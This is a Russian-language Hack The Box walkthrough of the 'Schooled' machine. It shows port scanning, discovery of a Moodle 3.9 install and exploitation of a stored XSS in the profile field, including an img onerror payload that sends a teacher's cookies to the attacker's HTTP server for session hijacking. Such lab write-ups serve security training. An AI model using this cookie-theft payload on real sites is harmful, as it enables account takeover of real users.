Категория > Новости > HTB Schooled. Пентестим Moodle и делаем вредоносный пакет для FreeBSD - «Новости»
HTB Schooled. Пентестим Moodle и делаем вредоносный пакет для FreeBSD - «Новости»15-09-2021, 00:00. Автор: Oldridge |
Hack The Box.warningПодключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками. РазведкаСканирование портовАдрес машины — 10.10.10.234, добавляем его в Справка: сканирование портовСканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа. Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта. ports=$(nmap -p- --min-rate=500 $1 | grep^[0-9] | cut -d '/' -f 1 | tr 'n' ',' | sed s/,$//)nmap -p$ports -A $1 Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция ![]() Находим три открытых порта: 22 (служба SSH), 80 (веб‑сервер Apache 2.4.46) и 33060. Первым делом пройдемся по сайту и соберем информацию. Стартовая страница сайта На странице About мы находим почту для связи, а также домен — ![]() Сканирование веб-контентаБольше ничего найти не удалось, а так как ![]() ![]() ![]() ![]() И мы находим новый поддомен — Стартовая страница Moodle Moodle — это веб‑приложение, при помощи которого можно делать сайты для онлайнового обучения. Система позволяет настраивать макеты страниц, к тому же можно наладить интеграцию с разным ПО, включая инструменты для общения, совместной работы и управления документами. Что очень важно, Moodle распространяется свободно и имеет открытый исходный код. Форма авторизации Moodle Точка входаПоиск эксплоитовТак как мы имеем дело с готовым продуктом, нет смысла «тыкать кавычки» самостоятельно. Гораздо продуктивнее будет узнать точную версию и поискать информацию или отчеты об уже имеющихся уязвимостях, а возможно, и готовые эксплоиты. Можно найти исходные коды на GitHub и узнать, где в программе расположена информация о текущей версии. Смотрим, что у нас на сервере, и узнаем, что используется версия 3.9. Файл upgrade.txt в репозиториях GitHubЗапрос файла upgrade.txt на сервере Теперь можем поискать информацию об уязвимостях и готовых эксплоитах. Справка: поиск готовых эксплоитовПри пентесте лучше всего искать эксплоиты при помощи Google, поскольку этот поисковик заглядывает и в личные блоги, и в самые разные отчеты. Ускорят дело специализированные базы вроде Exploit-DB — там часто можно обнаружить подходящие варианты. Если ты работаешь в специализированной ОС вроде Kali Linux, то эта база у тебя уже есть и для поиска можно использовать утилиту Эксплоиты, найденные searchsploit Для версии 3.9 эксплоитов нет, но есть для более свежей 3.10.3. Стоит ее попробовать, так как есть вероятность, что уязвимость присутствует и в ранних версиях. Посмотрим детали уязвимости.
searchsploit -pphp/webapps/49714.txt
![]() ![]() Эксплуатация Stored XSSЭта версия уязвима к атаке XSS, причем хранимой. Для проверки уязвимости регистрируемся и авторизуемся в системе. Внедрить код можно через поле MoodleNet profile в настройках пользователя. Давай внедрим следующий код, который будет показывать окошко с текстом
<img src="1" onerror="alert(1)" />
![]() Так как это Stored XSS, код будет выполняться каждый раз при просмотре пользователем нашего профиля. ![]() Так как уязвимость подтверждена, мы можем украсть cookie. Для этого откроем на локальном хосте веб‑сервер
python3 -mhttp.server 8888
А теперь внедрим код, который будет загружать с нашего сервера картинку, а в качестве параметра будем передавать куки. Так они и попадут к нам.
<img src="1" onerror='this.src="http://10.10.14.195:8888/cookie="+document.cookie' />
![]() Среди множества запросов мы находим тот, значение параметра которого отличается. Подставляем полученные cookie и перезагружаем страницу. Так мы начинаем работать под учетной записью преподавателя. ![]() Перейти обратно к новости |